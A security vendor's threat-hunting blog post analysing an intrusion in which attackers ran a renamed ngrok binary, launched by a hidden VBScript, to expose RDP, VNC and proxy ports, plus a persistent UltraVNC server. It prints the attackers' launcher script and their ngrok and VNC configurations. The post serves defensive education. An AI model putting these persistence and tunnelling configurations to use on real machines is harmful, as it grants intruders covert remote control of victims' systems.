Abusing Ngrok: Hackers at the End of the Tunnel

Do you know that expression, “light at the end of the tunnel?”

Usually, that has a positive connotation. After some hard work or persevering through something difficult or unpleasant, you can see "the light at the end of the tunnel” and rejoice that the work is almost done.

Today, we are telling a different story. At the end of this tunnel, we’ll find some shady hackers gaining remote control access to some victim networks. 

And when we say tunnel, we mean a computer networking tunnel—like a proxy, packets being routed or sent someplace else. In some scenarios, “tunneling” like this actually has a good and functional purpose. But when we see it while we are hunting for malware, it is often used for bad guys to exfiltrate data or control network traffic.

In this case, we saw artifacts that indicate a hacker used ngrok to tunnel traffic from RDP and VPN ports out to the open Internet.

Wait, What Is an “Ngrok?”

Ngrok is a cross-platform application that exposes local server ports to the Internet. Their website claims, “[so you can] spend more time programming—one command for an instant, secure URL to your localhost server through any NAT or firewall.”

Honestly, it sounds pretty cool, right? Say you were developing a couple of website pages and you wanted to show it to your friend, but you didn’t have all the infrastructure already set up—well you know what, why don’t I show you?

Here is a basic demo HTML page just being served on a local development machine.

Pretty boring. Obviously this is just for demonstration's sake—but if I were to fire up ngrok…

[.highlight]ngrok http 80[.highlight]

You can see I have a forwarded port and tunnel set up from port 80 (HTTP) on my localhost, now publicly available at [.highlight]http[:]//d7d61b3bf14c.ngrok.io[.highlight]!

Now anyone on the Internet (including those programmer buddies I mentioned!) can access this site. 

Checking back at the ngrok output:

Very cool! We can see the requests that came in and the number of connections. Now I can stop ngrok, and that will tear down the tunnel—that public endpoint no longer reaches my local machine. Quick, temporary tunnels as you need them.

This was a super simple showcase of ngrok. And it is not just spinning up an HTTP server—you can make any port publicly accessible. While I used the [.highlight]ngrok http 80[.highlight] syntax in that example, you could supply [.highlight]ngrok tcp 445[.highlight] or define ports to use in a configuration file.

That is the intended and benign use of ngrok, for its real functional purpose. But I think you might be able to guess how this can be used for more nefarious purposes. 😉

So Where Are the Bad Guys?

Check out this persistent foothold we found on a victim's computer. 

[.highlight]Dim objShellSet objShell = WScript.CreateObject("WScript.Shell")command = "powershell -windowstyle hidden C:\ProgramData\WindNT\conhost.exe start --config=C:\ProgramData\WindNT\ngrok.yml --all --region=eu"objShell.Run command,0Set objShell = Nothing[.highlight]

This is a Visual Basic Script—code that will natively run on a Windows operating system. VBScript and others, like JScript, HTA, PowerShell or Batch scripts are common targets for bad actors because they will inherently execute on Windows.

If you aren’t familiar with VBScript, a good tell-tale is the use of Dim to declare local variables. We see an [.highlight]objShell[.highlight] variable being declared and then [.highlight]Set[.highlight] to a [.highlight]WScript.Shell[.highlight] object. The [.highlight]WScript.Shell[.highlight] object can be used to run commands or start processes—again, another attractive feature for hackers.

In this case, it sets up a command to run PowerShell, with a hidden window (spooky!) starting a [.highlight]conhost.exe[.highlight] process with arguments defining a “config” and a “region,” seemingly.

The script will run the command, and then clean up the [.highlight]objShell[.highlight] object by setting it to [.highlight]Nothing[.highlight].

What Is Conhost.exe?

[.highlight]Conhost.exe[.highlight] is usually a process spawned by command shells like PowerShell or [.highlight]cmd.exe[.highlight], so if an analyst were simply looking at a process tree and not seeing command-line arguments, maybe this looks innocent.

However, the command-line arguments indicate that this is not the known [.highlight]conhost.exe[.highlight].

This is ngrok, masquerading and hiding as [.highlight]conhost.exe[.highlight]—just a simple renamed file.

Those command-line arguments to specify a configuration file and region are what the ngrok program would typically expect. With those parameters, you can specify a specific configuration file that is in a different location than the default—and the region where the ngrok client will connect to host its tunnels.

This command does not indicate which ports it is going to expose to the Internet, though—where are those supplied? Well, we will have to dive into that configuration file it mentioned!

Malicious Ngrok Configuration File

[.highlight]tunnels:   rdp:       proto: tcp       addr: 3389   wnc:       proto: tcp       addr: 6300   mobil:       proto: tcp       addr: 3128[.highlight]

(The configuration file also includes the [.highlight]authtoken[.highlight] to connect to this ngrok account—but as a strange act of good service to the hackers, I won’t expose that here 😉)

When ngrok is invoked with the `start` command it will read and operate as defined in the configuration file, and the --all argument means it will start all of the defined tunnels.

These shady fellows are publicly exposing RDP on port 3389, a VNC server on port 6300, and potentially a Squid or HTTP proxy on port 3128!

Needless to say, the Remote Desktop Protocol being accessible to the open Internet is an attack vector on its own. But these bad guys could be using it for continued remote access or more post-exploitation now that they have already compromised this target.

If RDP wasn’t enough, they double it up with a tunnel to access VNC (Virtual Network Computer), which offers practically the same functionality as RDP. Graphical desktop sharing—so the hackers can take advantage of this computer remotely from anywhere in the world.

The use of the Squid or HTTP proxy on port 3128 is questionable. Perhaps this could be used for more internal-network access, to easily perform lateral movement even when “externally” connecting to the target. Even if there aren’t services running on these ports, ngrok will still happily tunnel them out for the whole world to see.

Let’s cross our fingers for the poor victim here and pretend perhaps RDP service was disabled, maybe no VNC server installed, or there was no Squid or HTTP proxy running—could the hackers enable these?

If they already compromised the machine and they had enough access, they certainly could.

VNC: The Villain

In fact, the hackers brought in a VNC server. This persistence method is a bit “heavy” compared to some of the simple techniques they could have used, but hey—a graphical interface to keep hacking away on their target? I’m sure they won’t turn that down.

While we found that persistent VBScript code, we also found a VNC server “[.highlight]winvnc.exe[.highlight]” (that is also living out of the “Chrome” folder in a user’s AppData, which makes for a good laugh).

This VNC server is also set up in a Windows Registry “Run Key”, so it remains persistent and will run each time that user logs in. These persistent registry keys are appropriately (I use that word in jest) named “[.highlight]WindNT[.highlight],” to keep playing off the same theme of the fake [.highlight]conhost.exe[.highlight], “[.highlight]ConhostNT[.highlight].”

Now you might be saying, as the smart and educated computer user that you are, “but John, VNC servers will usually listen on port 5900, right? Ngrok didn’t expose that!”

And you’re absolutely right.

But hackers also play into the joke “security by obscurity.” You know the punchline—changing services to their non-standard port, or trying to fool folks by reversing ports like using 9983 for RDP (I’m looking at you, SMB Company XYZ!)

We dug up the VNC configuration file that was present in the same directory as the [.highlight]winvnc.exe[.highlight] executable.

[Permissions][admin]FileTransferEnabled=1FTUserImpersonation=1BlankMonitorEnabled=0BlankInputsOnly=0DefaultScale=1UseDSMPlugin=0DSMPlugin=DSMPluginConfig=primary=1secondary=0SocketConnect=1HTTPConnect=0XDMCPConnect=0AutoPortSelect=0PortNumber=6300HTTPPortNumber=6301InputsEnabled=1LocalInputsDisabled=0IdleTimeout=0EnableJapInput=0QuerySetting=2QueryTimeout=10QueryAccept=0LockSetting=0RemoveWallpaper=0RemoveEffects=0RemoveFontSmoothing=0RemoveAero=0DebugMode=0Avilog=0path=C:\Users\admin\Desktop\RDDebugLevel=0AllowLoopback=1LoopbackOnly=0AllowShutdown=0AllowProperties=1AllowEditClients=1FileTransferTimeout=30KeepAliveInterval=5SocketKeepAliveTimeout=10000DisableTrayIcon=1MSLogonRequired=0NewMSLogon=0ConnectPriority=1[UltraVNC]passwd=1B2A1BCF17E01EEF33passwd2=494015F9A35E8B2245

That VNC server is totally running on port 6300—exactly what ngrok exposed to the world—evident by that clear [.highlight]PortNumber=6300[.highlight] line.

From the configuration file syntax, we gather that this is not WinVNC (as one might suspect from the filename) but rather UltraVNC. This offers more file transfer features and functionally, again visible in the configuration file by the lines [.highlight]FileTransferEnabled=1[.highlight] and [.highlight]FTUserImpersonation=1[.highlight] even allowing transfer by impersonated users.

What Does This Mean?

Ngrok is a tool that serves a legitimate purpose. It offers a simple solution to quickly expose a local server to the Internet—when you want to expose something to the Internet. 

When you don’t, then it is a different story. 

As always, hackers use and abuse the genuine function of a utility and repurpose it for evil. While bad actors have been known to use ngrok in the past, we hope that this example of ngrok tunneling puts it in a new light.

Public-facing RDP or any open access to any graphical interface remote control could be devastating to an organization. In this case, hackers use it for persistence, but can also weaponize this to continue their campaign, exfiltrate data, potentially perform more lateral movement and more. It is, after all, remote access. Command and control with a full desktop session, on the open Internet, readily waiting for hackers anywhere in the world.

We want to bring this to you for continued education and awareness. We say buzzwords and those over-saturated mantras like, “defense in depth,” “assume breach,” or “it’s not if, but when”...

… but we really mean it. Once a hacker has compromised a host, they have just opened the door for much more damage. Whether it is exfiltrating data, moving laterally throughout the network, or even installing persistence with an RDP or VNC server accessible worldwide—they are off the leash. At that point, it's hard to find that “light at the end of the (ngrok) tunnel.”

That’s why at Huntress, we hunt. It’s vital to know this tradecraft and understand these tactics, so we can better detect and prevent incidents like this... before hackers are the ones at the other end of the pipe.